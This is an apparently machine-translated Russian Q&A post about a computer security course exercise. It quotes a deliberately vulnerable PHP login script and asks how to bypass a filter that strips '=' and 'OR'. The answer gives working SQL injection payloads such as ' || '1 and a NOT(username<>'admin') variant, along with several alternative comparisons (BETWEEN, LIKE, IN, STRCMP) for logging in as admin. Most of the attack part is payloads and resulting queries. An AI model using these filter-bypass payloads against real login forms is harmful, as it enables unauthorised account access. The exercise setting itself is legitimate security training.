Я должен ввести форму входа для упражнения по курсу компьютерной безопасности … Я прошел первый уровень, используя простой
' like 1=1--
в поле пароля, но теперь на втором уровне мне нужно снова ввести ту же форму входа с тем же исходным кодом, за исключением того, что пользователь и pwd управляются функцией lvl2_filter (), которая, по моему мнению, является частью фильтров .php и не принимать «=» и «ИЛИ»,
Как мне это сделать ???
поле имени пользователя и пароля не может быть пустым
include_once 'filters.php'; include_once 'config.php'; ?> <?php $user = lvl2_filter($_REQUEST['user']); $pwd = lvl2_filter($_REQUEST['pwd']); $token = $_COOKIE["token_sqli2"]; if (empty($token) || !check_token($token)){ echo "<h1>You need to be logged in!</h1><br>"; } if (!empty($user) && !empty($pwd)) { $query = "SELECT user_id FROM users WHERE username='$user' and password='$pwd'"; $result = mysqli_query($db,$query); if ($result && mysqli_num_rows($result)>0) { echo "Hi $user, you are logged in."; verify_user($token, $user); } else echo "sorry, invalid username or password"; } else { ?>
Предполагая это определение lvl2_filter
, которое в основном удаляет любое вхождение =
и or
пока не будет найдено, все равно можно использовать логическую операцию ИЛИ с ||
вместо OR
и простое выражение, которое вычисляется как true:
username: dummy password: ' || '1
Это приведет к:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Для выбора конкретного пользователя можно использовать правила булевой алгебры , где x=y
= !(x!=y)
:
username: dummy password: ' || NOT(username<>'admin') AND '1
Это приведет к:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Здесь <>
эквивалентно !=
Но не содержит a =
.
Существуют и другие операции, которые можно использовать, чтобы гарантировать, что имя пользователя равно admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END